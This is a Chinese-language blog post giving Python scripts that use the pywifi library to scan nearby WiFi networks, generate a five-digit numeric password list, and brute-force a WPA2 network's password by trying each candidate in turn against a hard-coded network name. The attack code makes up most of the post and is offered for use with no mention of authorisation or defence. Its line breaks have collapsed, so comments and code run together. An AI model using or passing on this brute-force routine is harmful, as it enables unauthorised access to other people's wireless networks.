python应用-----破解wifi

xiaoxiao2021-03-01  24

1、程序需要的模块

pywifi

2、第一步

创建一个wifi.py程序

import pywifi from pywifi import const #引用一些常量 #判断是否已经连接到wifi def gic(): #创建一个无线网卡 wifi=pywifi.PyWiFi() #获取到第一个无线网卡 iface=wifi.interfaces()[0] #列表 # print(iface.name()) #打印网卡连接状态 if iface.status()==const.IFACE_CONNECTED: print("已连接") else: print("未连接") # gic() # 扫描附近wifi def bies(): wifi=pywifi.PyWiFi() ifaces=wifi.interfaces()[0] # 扫描wifi ifaces.scan() # 获取扫描结果 result=ifaces.scan_results() for data in result: print(data.ssid) # print(result) bies()

 

程序实现创建一个无线网卡(注:台式电脑没有自带无线网卡 程序可能报错)

扫描并显示附近wifi

第二步:创建密码本

密码本可以在网上下载,也可以自己写

import itertools as its # 迭代器 words="1234567890" r=its.product(words,repeat=5) # 保存到文件中 dic=open("pass.txt","a") for i in r: dic.write("".join(i)) dic.write("".join("\n")) dic.close()

生成的密码本

 

第三步:

# 导入模块 # 抓取网卡接口 # 断开所有wifi # 读取密码本 # 设置睡眠时间 # 测试连接 import pywifi from pywifi import const import time # 导入模块 # 抓取网卡接口 # 断开所有wifi # 读取密码本 # 设置睡眠时间 # 测试连接 # 测试连接 返回连接结果 def wificonnect(psd): # 抓取网口 wifi=pywifi.PyWiFi() iface=wifi.interfaces()[0] print(iface) #断开所有连接 iface.disconnect() # time.sleep(1) wifistatus=iface.status() if wifistatus==const.IFACE_DISCONNECTED: # print("未连接") #创建wifi连接文件 profile=pywifi.Profile() #wifi名 profile.ssid="aemaer" #网卡开放 profile.auth=const.AUTH_ALG_OPEN #wifi加密算法 profile.akm.append(const.AKM_TYPE_WPA2PSK) #加密单元 profile.cipher=const.CIPHER_TYPE_CCMP #密码 profile.key=psd print(psd) #删除所有WiFi文件 iface.remove_all_network_profiles() #设置新的连接文件 tep_profile=iface.add_network_profile(profile) iface.connect(tep_profile) time.sleep(0.5) if iface.status()==const.IFACE_CONNECTED: return True else: return False else: print("已连接") # wificonnect() def read_password(): print("开始破解:") path="D:\\PyCharm 2017.2\wifi破解\pass.txt" file=open(path,"r") while True: try: passStr=file.readline() # print(passStr) bool=wificonnect(passStr) if bool: print("密码正确",passStr) break else : print("密码不正确",passStr) except: continue read_password()

程序还可以进一步完善

 

 

转载请注明原文地址: https://www.6miu.com/read-3649932.html

最新回复(0)